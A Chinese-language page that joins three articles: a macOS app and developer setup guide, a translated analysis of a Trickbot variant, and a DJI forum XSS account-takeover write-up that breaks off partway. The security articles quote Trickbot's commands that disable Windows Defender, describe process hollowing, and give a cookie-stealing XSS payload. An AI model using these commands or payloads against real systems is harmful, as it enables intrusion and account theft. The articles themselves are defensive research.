* 再打开`System Preferences`，点击`Security & Privacy`图标，在`General`Tab内，勾选`Require password[immediately] after sleep or screen save begins`。
[
图2.5-2
现在当你离开电脑前时，记得`一摸触摸板`或者`一甩鼠标`将光标快速的移到屏幕的右下角，MacBook将立刻进入`Screen
Saver`模式并且需要`密码`才能进入桌面。
## 3\. 系统常用快捷键
请[点击](https://support.apple.com/zh-cn/HT201236)这个文档，学习系统快捷键，适当使用快捷键将会提升你的工作效率。
## 4\. 日常软件推荐
### 4.1 中文输入法
系统自带的输入法不是很好用，推荐安装[搜狗输入法](http://pinyin.sogou.com/mac/)或者[RIME输入法](http://rime.im/)。安装完成后，打开`System
Preferences`，选择`Keyboard`，切换到`Shortcuts`这个Tab下，勾选`Select the previous input
source`，并点击上述文字后面的空白处，设置快捷键为`Ctrl+Space`(即如图所示的^Space)。
[
图4.1-1
### 4.2 窗口管理软件 – SizeUp
1. 你是否经常想让某个Word文档占满屏幕的左半部分，旺旺聊天占满屏幕的右半部分，从而一边对着文档一边和小伙伴聊需求？
2. 终于搞好了外接显示器，你是否经常将某个窗口在笔记本和外接显示器屏幕之间直接来回拖动？
[SizeUp](http://www.irradiatedsoftware.com/sizeup/)快速解决这样的需求，该软件可以永久免费试用，下载安装后打开SizeUp，再打开旺旺，快捷键按下`control+option+command
+ M`，则旺旺就会立即进入全屏模式。
然而大部分情况下，你会看到如下这个提示，这是因为SizeUp需要你的授权才能控制窗口。
[
图4.2-1
直接点击`Open System Preferences`或者打开`System Preferences`，点击`Security &
Privacy`图标，在`Privacy`Tab内，点击`Accessibility`，然后将SizeUp加到右边的列表里面。（提示：你可能需要先点击右下角的黄色锁，输入密码后才能编辑右边的列表。）
[
图4.2-2
如果你此时接上了外接显示器，快捷键按下`control+option + 方向键右键`，则当前左边显示器激活的最前端窗口将被立即发送到右边的显示器。
下面列举一些SizeUp常用的快捷键，更多的快捷键和使用方式请查询其[官方网站](http://www.irradiatedsoftware.com/sizeup/)。
* `control+option+command + M` ： 使当前窗口全屏
* `control+option+command + 方向键上键` ： 使当前窗口占用当前屏幕上半部分
* `control+option+command + 方向键下键` ： 使当前窗口占用当前屏幕下半部分
* `control+option+command + 方向键左键` ： 使当前窗口占用当前屏幕左半部分
* `control+option+command + 方向键右键` ： 使当前窗口占用当前屏幕右半部分
* `control+option + 方向键左键` ： 将当前窗口发送到左边显示器屏幕
* `control+option + 方向键右键` ： 将当前窗口发送到右边显示器屏幕
### 4.3 查找文件和应用程序以及无限想象力 – Alfred
如果你曾经使用过MacBook，你应该接触过[Spotlight](https://support.apple.com/zh-cn/HT204014)，就是屏幕中间弹出一个长条输入框，你输入文件名或者应用程序名，Spotlight将模糊查找到对应的候选项，按回车快速的打开你需要的文件或程序。
[Alfred](http://www.alfredapp.com/)的能力远远超过了Spotlight,
你可以直接下载免费版安装使用，Alfred另外还提供了更强大的工作流(Workflows)和剪切板(Clipboard)管理等高级功能，需要购买Powerpack。对于日常的操作，免费版已经足够使用了。
因为Alfred可以完全取代Spotlight，下面先删除Spotlight占用的快捷键`command + 空格`，以供Alfred将来使用。
打开`System
Preferences`，选择`Keyboard`，切换到`Shortcuts`这个Tab下，点击Spotlight，取消对应的2个快捷键设置。
[
图4.3-1
打开Alfred，在菜单栏点击Alfred图标，打开`Preferences...`
[
图4.3-2
如下图所示，设置Alfred的快捷键为`command + 空格`
[
图4.3-3
现在按下快捷键`command +
空格`，输入dash，则Alfred不区分大小写的将所有包含dash的应用程序，文档以及历史网址都列出来了，如下图所示，回车打开`Dash`，`command+2`打开本Dashboard，你还可以移动键盘上下键或者光标来选择目标。
图4.3-4
更多关于Alfred的使用方式和无限想象力，请参考官方网站或者网上现有的大量的教程。
下面简单演示一下剪切板管理和厂内查人工作流的使用。如下图所示，我使用快捷键打开剪切板管理器，列出来我最近复制过的文本片段，我可以快速的选取这些文本片段或者输入部分字符来查找
图4.3-5
### 4.4 聪明又美丽的日历 — Fantastical 2
打开[Fantastical
2](https://flexibits.com/fantastical)的网站，你一定会被她漂亮的外表所吸引，最可贵的是Fantastical还很聪明，当你在日历里面新建一个提醒的时候，输入如下内容“HTML
training at 7:30pm tomorrow alert 5 min”,
则Fantastical会自动将日期设置为明天，然后将开始时间设置为晚上7点半，并且提前5分钟提醒，是不是很聪明？
图4.4-1
### 4.5 来杯免费咖啡 — Caffeine
今天下午给大老板和重要客户演示PPT，你仿佛看到了升职加薪走上人生巅峰，当你打开MacBook接上投影仪，口若悬河的讲解，突然MacBook进入休眠模式了，画面太美了，我不敢想了。
你应该立刻安装这款免费的良心软件—[Caffeine](https://itunes.apple.com/app/caffeine/id411246225)，设置开机启动，点一下状态栏的咖啡杯图标，当咖啡是满的时候，MacBook将不会进入休眠模式，再点一下咖啡杯空了就正常休眠，我默认设置开机启动，咖啡杯保持满满的状态。
### 4.6 快速切换和打开应用程序 — Manico
MacBook系统默认设置了一个快捷键来显示当前运行中的应用程序，同时按下`tab + command`，将看到如下图的样式：
图4.6-1
如果你想要却换到Firefox，需要再按一下`tab`，如果要切换到日历，需要按两下‘tab’，如果一次性打开10几个应用程序，你经常需要按十几下`tab`才能却换到想要的程序。
[Manico](http://manico.im/)专为这个场景而设计，安装好后打开，默认快捷键是按住`option`，如图所示，此时按下数字`7`就能快速打开编号为`7`的`地图`。
[
图4.6-2
另外，推荐设置Manico使用左手边的`字母加数字`做索引，方便仅仅用左手就能快速切换应用程序。在菜单栏点击Manico图标，打开`Preferences...`，
在`Appearance`Tab里面，选择`Uses left hand area`和`Use numeric and alphabet`。
[
图4.6-3
### 4.7 随心所欲的复制粘贴以及无限想象 — PopClip
* 日常工作中，你有多少次是从一个应用程序复制一段文本然后粘贴到另外一个地方？
* 有多少次是复制一个网址然后打开浏览器粘贴到地址栏然后回车打开？
* 有多少次是复制一个名词，然后打开浏览器找到搜索引擎来搜索？
这些重复的操作模式都是可以简化的，你唯一需要的就是[PopClip](http://pilotmoon.com/popclip/)，当你选中一段文字（如下图，选中“当日收益”），PopClip就会弹出来一个快捷操作栏，你可以复制，剪切或者粘贴，更为强大的是，PopClip提供了很多免费的插件，例如使用指定的搜索引擎搜索选中的文字，或者选中英文单词做大小写转换等等。
[
图4.7-1
需要注意的是，PopClip需要你的授权才能弹出快捷状态栏，直接点击`Open System Preferences`或者打开`System
Preferences`，点击`Security &
Privacy`图标，在`Privacy`Tab内，点击`Accessibility`，然后将PopClip加到右边的列表里面并且勾选前面的checkbook。（提示：你可能需要先点击右下角的黄色锁，输入密码后才能编辑右边的列表。）
### 4.8 增强资源管理器 — XtraFinder
MacBook自带的资源管理器(Finder)已经可以满足一般的需要，但是当你有大量文件维护操作后，你就需要一个更强大的Finder。[XtraFinder](https://www.trankynam.com/xtrafinder/)完全集成到Finder里面，你根本感觉不出它是一个第三方的应用程序，同时还提供很多增强特性，比如：
* 像浏览器那样的标签页(Tab)
* 支持双操作面板(Panel)
* 增强的全局快捷键，例如新建文件(New File)等
* 多彩的侧边栏图标
* 快速在当前文件夹打开终端
* 快速在当前文件夹新建文件
[
图4.8-1
### 4.9 随心所欲的全键盘控制 – Shortcat
在系统设置里面，我介绍了`全键盘控制模式`，但是此模式只能做简单的按钮控制，无法达到随心所欲的控制。下面介绍一款比较geek的软件，[Shortcat](https://shortcatapp.com/)帮助你完全使用键盘来控制系统，供有键盘强迫症的同学使用。
[
图4.9-1
### 4.10 来杯鸡尾酒 — Bartender
如果你看到这里，相信你已经被我推(hu)荐(you)的安装了一排软件，你的系统状态栏已经`人满为患`，有时候会因为当前激活的应用程序的菜单比较多挡住你要点击的状态栏图标，这个时候你需要一个`酒保`来帮你调理一下状态栏，[Bartender](http://www.macbartender.com/)将是我推荐的最后一个日常使用的App，你可以自定义隐藏某些不常用的状态栏图标，特别适合处女座强迫症。
[
图4.10-1
4.11 快速进入Shell
go2shell是一个对开发者来说非常有用的app, 使用它可以在Finder里快速进入shell环境.
图4.11-1
安装好以后, 打开Finder, 点击Finder上的图标即可进入terminal:
图4.11-2
4.12 快速录屏–QuickTimePlayer
QuickTime Player是一个自带的录屏软件, 你可以用它来录制视屏,音频,以及屏幕操作. 对于开发者, 可以用它来记录屏幕操作,
做成动态图或视频, 供其它人学习; 对于普通工作者, 可以用QuickTime Player录制PPT讲座视频.
4-12
4.13 好用的截屏工具-Snip
使用过QQ的朋友肯定用过上面的自带截图功能,非常好用, 支持添加圈,点,箭头甚至文字, 只要打开QQ,
任何时候都可以通过Ctrl+Command+a来截图, 但是本人平时不太常使用QQ, 截屏功能又非常常用，怎么办呢?
腾讯很贴心地把QQ里的截图功能完整地拆了出来, 成了一个新的App–Snip.
4-13-1
Snip完整地继承了QQ里截图功能, 设置为开机启动后, 任何时候都可以通过相同的快捷键–Ctrl+Command+a来截图, 此外,快捷键可以手动修改:
4-13-2
## 5\. 开发环境配置
终于到了开发环境配置阶段，在配置开发环境前，建议先将OS X系统升级到最新版，同时去Mac [App
Store](http://www.apple.com/osx/apps/app-store/)下载最新版的[Xcode](https://developer.apple.com/xcode/)，然后使用下面的命令安装Xcode
command line tools，这将为你安装很多终端下面常用的命令，将来很可能会使用到：
Shell
`xcode-select --install`
### 5.1 命令行终端Terminal
在用户界面没有发明前，终端Terminal曾经是计算机的唯一交互方式，就算到了今天，很多服务器仍然只提供终端登陆来操作，作为开发测试运维相关人员，在日常工作中合理使用终端将大大提高工作效率。
#### 5.1.1 替换系统默认Shell — Oh My ZSH!
[Bash](http://www.gnu.org/software/bash/)作为大多数系统默认安装的Shell，大家都多少有所接触，[Zsh](http://www.zsh.org/)和Bash类似都是一个Shell，但是Zsh更注重用户体验和与人的交互，OS
X默认也安装好了Zsh，然而你想自己从头开始配置一个顺手的Zsh是比较浪费时间的，有人已经帮我们配置好了，这个流行的Zsh配置叫—[Oh My
ZSH!](http://ohmyz.sh/)，直观的效果如下图所示，代码开源在[github](https://github.com/robbyrussell/oh-my-zsh)。
[
图5.1.1-1
* 切换默认Shell到Zsh
Mac OS X默认已经安装好了Zsh，你可以打开终端，输入`zsh
--version`来确认，如果没有安装，请参考[这个文档](https://github.com/robbyrussell/oh-my-zsh/wiki/Installing-ZSH)。
打开终端输入下面的命令，切换默认Shell为Zsh：
Shell
`chsh -s /bin/zsh`
关闭终端重新打开后，你将默认使用zsh作为终端Shell。然而你会发现，终端并没有变得多酷炫，接着往下走，`安装Oh My ZSH!`
* 安装Oh My ZSH!
打开终端输入下面的命令：
Shell
`sh -c "$(curl -fsSL https://raw.github.com/robbyrussell/oh-my-zsh/master/tools/install.sh)"`
耐心等待一会儿，然后你就会发现你的终端变成了彩色的了。
[
图5.1.1-2
你可以修改终端的Profile，选择深色背景profile，这样就比较炫酷了。如果你对默认的`Oh My
ZSH`的配色不满意，请参考[这里](https://github.com/robbyrussell/oh-my-zsh/wiki/External-themes)找到你喜欢的配色。
#### 5.1.2 替换系统默认终端 — iTerm 2
如果你经常使用终端，那么推荐你使用[iTerm 2](https://www.iterm2.com/)来替代系统自带的终端。关于iTerm
2的特性，请看[这里](https://www.iterm2.com/features.html)。
这里我只介绍一个小技巧，我想设置一个快捷键假设为F12，在任意场合，我按一下快捷键F12就弹出终端，输入一些命令执行后，再按一下F12终端就自动隐藏，这对经常使用终端的人，例如经常ssh连接服务器的人来说实在太方便了。
设置过程如下：
* 系统已经默认将F12分配给`Show Dashboard`，需要先取消这个设置。
打开`System Preferences`，选择`Keyboard`，切换到`Shortcuts`这个Tab下，点击`Mission
Control`，取消对应F12的快捷键。
[
图5.1.2-1
* 打开iTerm的`Preferences...`， 在`Profiles`Tab里面，点击下面的[`+`]添加一个新的profile，为什么要新建一个profile？答案是为了定制将来`弹出`的终端样式和大小等等参数。新的profile假设命名为guake，(注：guake这个名称是为了向Linux下的[Guake](http://guake.org/)终端致敬)，你可以自己任意起个名称，下面会用到。
[
图5.1.2-2
再切换到`Window`Tab下，将`Style`，`Screen`和`Space`这3个值设置和下图一样。
[
图5.1.2-3
再切换到`Keys`Tab下，设置如下图所示的`Hotkey`F12。
[
图5.1.2-4
现在你按下F12，就立即得到一个占满全屏的黑色命令行终端，再按一下F12隐藏终端，非常的方便。
### 5.2 终端下的命令管理 — Homebrew
Mac [App Store](http://www.apple.com/osx/apps/app-store/)你一定非常熟悉了，它可以帮你下载和安装大部分常见的软件。
在终端下，我们也需要一个App
Store一样的管理程序，当你需要安装某个终端下的新命令的时候，这个程序可以帮助我们自动下载该命令以及相关的依赖，甚至在下载以后做必要的编译和环境设置。
[Homebrew](http://brew.sh/index.html)就是这样一款终端下的命令程序包管理器，安装非常简单，复制如下命令在终端下运行，按回车并输入密码后等待安装成功：
Shell
`ruby -e "$(curl -fsSL
https://raw.githubusercontent.com/Homebrew/install/master/install)"`
下面是安装截图：
[
图5.2-1
curl和wget是命令行下面常用的命令，其中curl已经默认安装在OS X中了，但是wget没有默认安装，下面演示如何使用Homebrew来安装wget。
Shell
`brew install wget`
下面是运行截图：
[
图5.2-2
### 5.3 终端下管理非终端软件 — Homebrew Cask
因为Apple不允许第三方的浏览器进入Mac App Store，如果你想要安装Google
Chrome，只能去Google网站下载后运行安装文件。这一类App Store没有的非终端下的软件能不能享受Homebrew一样的命令行安装的便捷性呢？
[Homebrew Cask](http://caskroom.io/)就是这样一款终端下的程序管理器，它扩展了Homebrew，作为Mac App
Store的有益补充，方便你快速维护日常软件的安装升级和卸载，复制如下命令在终端下运行，按回车后等待安装成功：
Shell
`brew install caskroom/cask/brew-cask`
下面是运行截图：
[
图5.3-1
那如何使用Homebrew Cask来安装Google Chrome呢？ 首先使用`chrome`作为关键字查找一下：
Shell
`> brew cask search chrome ==> Partial matches chrome-devtools chrome-remote-desktop-host chromecast google-chrome`
上面的命令运行后列出了4个候选项，很明显最后一个`google-chrome`就是我们要安装的，继续输入
Shell
`brew cask install google-chrome`
下面只需要稍微等一会儿，最新版的Google Chrome就乖乖的安装在你的MacBook里面了。
### 5.4 Java开发环境搭建
#### 5.4.1 安装Java和Maven
现在OS
X没有默认安装JDK，如果你在终端输入`java`，系统会引导你到Oracle网站去[下载](http://www.oracle.com/technetwork/java/javase/downloads/index.html)，然后自己点击下载文件来安装，这个过程一点都不酷，而且不能自动化。现在你有了Homebrew
Cask，只要输入如下命令，Java就可以自动安装好啦。
Shell
`brew cask install java`
现在最近版本的JDK是1.8，Homebrew默认安装最新版软件，如果你要安装非最新版的JDK，那么去Oracle网站下载吧，Homebrew的多版本支持不是很好用。
同样的，输入如下命令来安装Maven最新版。
Shell
`brew install maven`
在开发中，你很可能会碰到这个错误`java.security.InvalidKeyException: Illegal key size or
default
parameters`，那是因为美国对出口软件[加密算法长度的限制](http://stackoverflow.com/questions/6481627/java-security-illegal-key-size-or-default-parameters)，你需要去如下链接下载补丁包：
* [JCE Unlimited Policy for JDK 6](http://www.oracle.com/technetwork/java/javase/downloads/jce-6-download-429243.html)
* [JCE Unlimited Policy for JDK 7](http://www.oracle.com/technetwork/java/javase/downloads/jce-7-download-432124.html)
* [JCE Unlimited Policy for JDK 8](http://www.oracle.com/technetwork/java/javase/downloads/jce8-download-2133166.html)
补丁替换路径为`${java.home}/jre/lib/security/`，大约如下所示：
Shell
`/Library/Java/JavaVirtualMachines/jdk1.8.0_51.jdk/Contents/Home/jre/lib/security`
#### 5.4.2 安装版本控制软件 — SmartGit & SmartSVN
如果代码就是生命，版本控制系统就是时光机。[Git](https://git-scm.com/)和[Subversion](https://subversion.apache.org/)分别是现在最流行的2个版本控制系统，[SmartGit](http://www.syntevo.com/smartgit/)和[SmartSVN](http://www.smartsvn.com/download?file=smartsvn/smartsvn-macosx-8_6_7.dmg)分别是他们的一个第三方客户端，当然他们有很多第三方客户端，我觉得SmartGit和SmartSVN是最好用的。
#### 5.4.3 安装和配置IDE — IntelliJ IDEA
[IntelliJ IDEA](https://www.jetbrains.com/idea/)作为最智能的Java
IDE，推荐所有Java开发人员使用，你可以在[这里下载](https://www.jetbrains.com/idea/download/)安装文件，或者使用如下的Homebrew
Cask命令来下载安装：
Shell
`brew cask install intellij-idea`
打开IDEA，推荐选择`Darcula`主题，快捷键映射选择`I've never used IDEA`, 一路确认下去进入主界面。
推荐使用版本控制客户端(SmartGit &
SmartSVN)下载好源代码后，再使用IDEA导入源代码，原因是如果用IDEA来checkout源代码，一边checkout一边分析代码，对于有多个模块的Maven项目，IDEA动态检测Spring框架的配置文件可能会得不到及时而完整的依赖分析。
[
图5.4.2-1
我们假设项目是基于Maven的，如下图，选择`Maven`：
[
图5.4.2-2
一路点击`[Next]`进入主界面，IDEA会帮我们自动检测到依赖的框架，如图IDEA发现我们使用了OSGI和Spring框架，点击`[Configure]`，然后去除OSGI依赖，因为SOFA项目不是完全实现OSGI规范的，勾选Spring配置文件。
[
图5.4.2-3
IDEA会在你首次导入一个项目的时候建立`索引`，耐心等待索引建立完成，之后的查找就会非常快速。
5.5 可视化版本控制客户端-SourceTree和Counerstone
5.5.1 SourceTree
SourceTree for mac是经典的可视化git客户端，支持创建、克隆、提交、push、pull
和合并等操作。SourceTree拥有一个精美简洁的界面，大大简化了开发者与代码库之间的Git操作方式，这对于那些不熟悉Git命令的开发者来说非常实用。
5-5-1
Sourcetree for mac不仅仅功能强大、界面美观、操作简洁，而且是一款免费的软件.
5.5.2 CornerStone
CornerStone是Mac OS X系统下非常好用的一款svn工具. 打开后点击左下角+号添加Repositorys.
图5-5-2-1
接着进行一些简单配置即可完成添加:
图5-5-2-2
一个非常好用的小技巧：先复制svn 代码的完整url到剪贴板，然后点击左下角+号，你会发现上图的配置信息大部分已经被自动填好了.
友情提醒：本软件是付费软件，大约100+软妹币。
## 6\. 工具的意义
工欲善其事，必先利其器，工具永远都是用来解决问题的，没必要为了工具而工具，一切工具都是为了能快速准确的完成工作和学习任务而服务。 | 社区文章 |
本文翻译自：<https://www.cyberbit.com/blog/endpoint-security/latest-trickbot-variant-has-new-tricks-up-its-sleeve/>
* * *
Trickbot是攻击银行客户并窃取凭证的金融机构木马，是一款多模块恶意软件，不同的模块负责不同的恶意活动。该恶意软件从2016年开始活动，这么多年更新更新都会出现新的技巧和模块。Trickbot包含的模块有从浏览器窃取数据、从Outlook从窃取数据、锁定用户计算机、收集系统信息、收集网络信息和窃取域凭证。
Cyberbit恶意软件研究团队研究了最新的Trickbot变种，并与之前的变种进行了比较。最新的Trickbot变种使用了stealthy code
injection（隐身代码注入）技术，该技术用直接系统调用、反分析技术、关闭安全工具来执行process
hollowing（现代恶意软件常用的一种进程创建技术）。新变种的行为模式与Flokibot银行木马非常相像。
本报告分析了新变种和其感染向量——一个恶意word文档。
# 感染向量
Trickbot变种是从含有宏代码的word文档（SHA256:
aef2020534f81bbebec6c9b842b3de6fd4f5b55fe5aeb3d9e79e16c0a3ff37ab）中下载的。当用户开启宏并放大或缩小文档时宏文件才会执行，这可能是为了绕过沙箱。
图1 – 放大/缩小栏是红色高亮显示
图2 – 只有窗口大小变化后宏才会执行，`InkPicture1_Resize`方法会触发用户放大/缩小
与大多数恶意宏文件一样，Trickbot的宏文件也经过了混淆，最终会执行一个下载和执行Trickbot的PowerShell脚本。在解混淆和重命名后，PowerShell脚本如下图所示：
图3 – 下载和执行Trickbot的PowerShell脚本
# Payload分析
SHA256: 1c81272ffc28b29a82d8313bd74d1c6030c2af1ba4b165c44dc8ea6376679d9f
在对恶意软件初步分析后，可以看出调试路径为：`c:\users\exploitdb\desktop\esetfuck\release\esetfuck.pdb`
## 反分析、资源解密和执行
恶意软件执行后会先调用`Sleep(30000)`完成休眠30秒，以绕过沙箱监测。然后用RSA软件解密资源：
图4 –休眠30秒用红色标注，调用资源解密函数用紫色标注
## 解密过程
1. `0x405680`处的函数会接收到key (private_key)和key size (16)，分别是指向解密缓存的指针和大小；
2. 用CryptAcquireContextW和PROV_RSA_FULL获取加密服务提供商的句柄；
3. 公钥是从key BLOB中输入的，key BLOB嵌入在可执行文件中；
4. 为了形成key BLOB，从内存的BLOB头开始复制private_key；
5. 用第4步形成的key BLOB和第3步形成的公钥调用CryptImportKey，输出芈月保存为output_decryption_key。
6. 用第5步形成的output_decryption_key调用CryptEncrypt来进行资源解密；
7. 用CryptDestroyKey清除公钥和output_decryption_key。
解密的资源是一个DLL文件（SHA256:
31A4065460CEF51C8B4495EFC9827926A789F602F5AD5C735EA1D88CAFAC135A）和一个名为`shellcode_main`的输出函数。
图5 –资源解密函数内部
然后，有一些调用过程：
* 用看似无用的类名和Windows名来创建CreateWindowEx
* 用未定义的消息代码（0x64/0xfa）和不存在的窗口发送Send MessageW
* GetLastError
* InSendMessage
对`CreateWindowEx`的调用是不执行的，代码的逻辑会导致对`SendMessageW`的27次调用，对`InSendMessage`的调用也是不执行的。
图6 – 这只是调用的一部分
在从一个调用跳转到另一个调用时，恶意软件会继续恶意意图：将解密的DLL与开始地址位于`0x10000000`的缓存进行映射。
然后调用Sleep(3)
3890次，结果是执行过程中会有11秒的延迟。这种短时间休眠加多次调用的方式可能可以很好地绕过沙箱监测，因为短暂的休眠看着是一种比较正常的行为。最后，执行位于`0x10001900`输出的`shellcode_main`函数。
图7 –每隔三秒钟休眠和唤醒一次
# 使用直接系统调用的Trickbot process hollowing
新变种使用了Trickbot 原来就使用的process hollowing技术，process hollowing技术被用来解压。
process hollowing技术是通过直接系统调用完成的，这与Flokibot恶意软件使用的方法系统。研究人员认为这两个恶意软件逐渐有代码共享。
在Flokibot恶意软件中，并非所有用于process hollowing的函数都直接使用系统调用，其中一些函数从之前保存在栈中的函数地址进行调用。
正常情况下，暂停进程是用`CreateProcessW`创建的，选择的进程就是恶意软件的进程。该进程的主线程的线程上下文结构是用`GetThreadContext`保存的。
图8 – 创建暂停进程
然后，恶意软件用`CreateFileW`来获取`ntdll.dll`的句柄，`ntdll.dll`可以用`ReadFile`将自己复制到`VirtualAlloc`分配的缓存中，然后分配另一个缓存来将内存与原始副本（raw
copy）进行映射：
图9 – 从硬盘上读取 Reading ntdll.dll
图10 – 手动映射ntdll.dll
上图中最后一个调用指令是调用一个可以接收对映射的ntdll.dll缓存和函数名的CRC32值的指针。该函数会对映射的ntdll.dll的所有函数名进行CRC32运算，然后与输入的CRC32值进行比较。如果匹配，就返回目标函数开始的缓存偏移量。下图是UnmapViewOfSection解析出的地址：
图11 – 指向含有映射的ntdll.dll（0x1cd0000）和0x90483ff6=CRC32(NtUnmapViewOfSection)的缓存的指针
代码中使用CRC32算法的证据是使用的常量`0xedb88320`，这是逆向CRC32多项式的十六进制表示。
图12 –计算字符串NtAllocateVirtualMemory的CRC32值，`0xedb88320`是CRC32多项式的二进制表示
然后，提取出系统调用数，这些参数会进入栈中，然后通过将系统调用树放在EAX上和用sysenter指令传递给内核来完成适当的函数调用。
图13 – 系统调用数提取
图14 – sysenter命令，EAX含有系统调用次数，栈中有适当的参数
执行上面的步骤是为了完成下面的功能：
* NtUnmapViewOfSection – 删除与原恶意软件模块的映射
* NtCreateSection – 创建写入恶意代码的section
* NtMapViewOfSection – 映射上面的section与hollowed process
* NtWriteVirtualMemory – 将当前进程的ImageBaseAddress写入hollowed process的ImageBaseAddress
* NtResumeThread –重新开始暂停的进程并开始执行
如上所述，并不是所有的函数都是为了hollowing。一些函数是从之前保存在栈中的地址调用的。完整的hollowing顺序如下：
直接系统调用的函数用蓝色表示，从之前栈中保存的地址调用的函数用红色表示：
与之前的变种类似，运行恶意软件之后，会复制自己和加密的模块到`C:\Users\%USERNAME%\AppData\Roaming\msnet`。
图15 – Trickbot (1c9_patched.exe) 和其模块
该变种还通过下面的命令关闭和删除了Windows defender服务：
* exe /c sc stop WinDefend
* exe /c sc delete WinDefend
* exe /c powershell Set-MpPreference -DisableRealtimeMonitoring $true
最后一行是关闭Windows Defender实时监控的PowerShell命令。
# 对比Flokibot
从中可以看出Trickbot通过之间系统调用调用了两个其他的函数。但并不实现直接系统调用到上面的三个函数，奇怪的是有一些函数也没有在Flokibot中实现过。
另一个相同点是使用CRC32算法对函数名进行哈希。在Flokibot中，CRC32与2字节值的XOR一起使用，而Trickbot中CRC32是单独使用的。
# 总结
Trickbot还在不断地发展，并逐渐使用一些新的技巧，也变得更加静默。但它并不是通过直接系统调用来实现所有的process
hollowing函数调用的。为了避免被分析，Trickbot中加入了sleep、无用的函数调用这样一些简单的技术。为了避免被检测到，Trickbot还关闭和删除了Windows
defender服务。 | 社区文章 |
本文翻译自：<https://research.checkpoint.com/dji-drone-vulnerability/>
* * *
最近Check Point研究人员发现大疆无人机漏洞。漏洞如果被利用，攻击者就会被授予访问用户DJI账户的权限。
* 如果DJI用户与DJI云服务器进行了同步，就可以访问飞行过程中生成的日志、照片、视频。
* 如果DJI用户使用了DJI FlightHub飞行管理软件，就可以看到无人机飞行期间的实时摄像头视角和地图视角。
* 与DJI用户账号相关的信息，包括用户个人介绍信息。
漏洞是通过DJI论坛访问产生的，论坛主要讨论大疆的产品。当用户登陆DJI论坛，点击刻意植入的而已链接时，攻击者就可以获取其登陆凭证，并访问其他DJI在线资产，包括：
* DJI web平台，包括账号、商店、论坛等；
* 从DJI GO/GO 4 app同步的云服务器数据；
* DJI的FlightHub。
2018年3月，研究人员将该漏洞通报给了大疆，大疆对该漏洞进行了修复。大疆对该漏洞的评级为`high risk`和`low
probability`。也就是说该来的被利用的可能性小。
攻击流图
# 技术分析
下面解释如何获取DJI web平台、手机APP和FlightHub的敏感飞行数据、敏感用户数据的访问权限。
## 漏洞
该漏洞位于DJI身份识别过程中。
DJI用cookie来识别用户和创建`token/tickets`来访问平台，而cookie是攻击者可以获取的。通过使用cookie，攻击者可以劫持任意用户的账户，并完全控制用户的DJI
Mobile Apps, Web账户或DJI FlightHub账户。
首先看一些DJI网站登录过程来了解DJI后台是如何识别用户，以及那些参数和cookie对登陆过程非常重要。研究人员分析了客户端与DJI后台的流量。
研究人员注意到DJI对以下子域名使用了该服务：
* forum.dji.com
* account.dji.com
* store.dji.com
这些域名之间的登陆使用的是OAuth框架。
研究人员分析发现到URL mobile.php的请求暴露了用户账户的敏感信息，包括`username, member_uid,
token`等。然后研究人员发现这里用来进行用户识别的cookie是`meta-key`。
图1: mobile.php请求
研究人员的目标是获取`meta-key`cookie，因此必须要找到没有被`http-only`保护的子域名，因为`http-only`会防止JS泄露cookie。满足这一要求的域名是forum.dji.com，然后研究人员开始寻找和分析平台的漏洞。
## 发现漏洞
研究人员发现了这样的请求:
`https://forum.dji.com/forum.php?mod=ajax&action=downremoteimg&message=`
响应中反映出了消息参数，但是有两个困难：
* `Addslashes`函数为字符串`” ‘ /`增加了“斜杠”；
* 未定义的函数`updateDownImageList`中存在XSS payload注入。
研究人员认为GET请求的response比较像下面的伪代码：
首先，用后斜杠和单引号来进行函数逃逸：
`parent.updateDownImageList(‘ \’ ‘);`
然后`addslashes`会增加一个后斜杠，使后斜杠逃逸，并修改为这样的字符串：
`parent.updateDownImageList(‘ \\ ‘ ‘);`
然后处理剩下的字符`‘)`和未定义的函数`updateDownImageList`。
研究人员加入了一个简单的HTML注释`<!–`，创建了下面的payload：
`parent.updateDownImageList(‘ \'<!– ‘);`
为了处理未定义的函数，需要做的就是自己定义该函数。
最终的payload为：
`\’ alert(document.cookie); function updateDownImageList (data) {} <!–`
图3: 使用payload获取的cookie
攻击者可以创建一个发送`meta-key`cookie到网站的payload。这类XSS并不会被XSS过滤器过滤，因为不含有任何脚本或事件。
为了触发XSS攻击，攻击者需要做的就是在DJI论坛上发布一个帖子，帖子中需要包含一个链接到payload的链接。因为DJI会限制链接到论坛的内容，所以不能发送这样的链接到恶意站点。
图4: 链接到恶意网站的内容
因为XSS在论坛内，所以可以绕过对链接的限制。而且有成千上万的用户在DJI论坛上交流，因此用户会自己转发消息和链接，不需要用户分析恶意链接。在获取`meta-key`后，就可以进行登陆测试DJI后台处理登陆的过程。
## DJI网站
为了获取DJI网站用户账户的访问权限，就需要其meta-key，也就是子域名account.dji.com中的mck。首先创建DJI账户并登陆，通过分析登陆过程，研究人员发现后台使用OAuth来认证用户和子域名，比如从accounts.dji.com到forum.dji.com，再到dji.com。
每次DJI要认证用户的时候，就发送含有`mck`cookie的`initData.do`，然后响应就是一个含有`ticket`的回调URL。通过导航到该url就可以在没有凭证的情况下认证用户。
因此，为了达到劫持账户的目的，需要：
1. 以攻击者的身份登陆dji.com，然后点击DJI.COM，会将用户重定向到dji.com；
2. 用受害者的`mck`替换`initData.do`请求中的`mck`cookie值；
3. 继续登陆进程，并访问受害者账户。
下面是`initData.do`请求：
图5: initData.do请求
## DJI App
要劫持DJI手机应用的账户，就需要绕过应用中实现的所有缓解措施：
拦截应用和DJI后台的请求数据来分析登陆过程。但研究人员发现应用使用了SSL校验证书绑定(ssl pinning)
技术，这妨碍了研究人员拦截应用流量和分析。因此，研究人员反编译了应用来找出如何绕过SSL
pinning机制。但DJI手机应用使用了SecNeo保护，因此反编译过程也失败了。
SecNeo提供了以下保护：
* 源代码逆向保护和敏感数据保护；
* 使用反hook技术对应用修改、重打包、调试进行预防；
* 动态代码注入和反编译/汇编预防。
了解了这些之后，研究人员决定使用Frida来绕过这些限制。事实上，研究人员在添加dji.go.v4应用时失败了。然后研究人员分析了添加失败的原因，并用`frida-ps –U`命令来获取运行的所有进程列表。
运行该命令后，研究人员注意到只有一个dji.go.v4进程，过了几秒钟后，出现了另外一个dji.go.v4进程。
通过查看`/proc/11194/status`，研究人员发现新出现的进程与第一个进程是有关联的，实际上是在调试这也就是为什么不能用Frida进行调试了，因为已经在调试了。
图6: 新创建的进程在Frida中与第一个dji.go.v4进程关联
研究人员发现第一个开启的进程并不是调试器，而是真实的应用。调试器并没有与真实应用相关联，这也就是说这里存在一个可以利用的竞争条件。
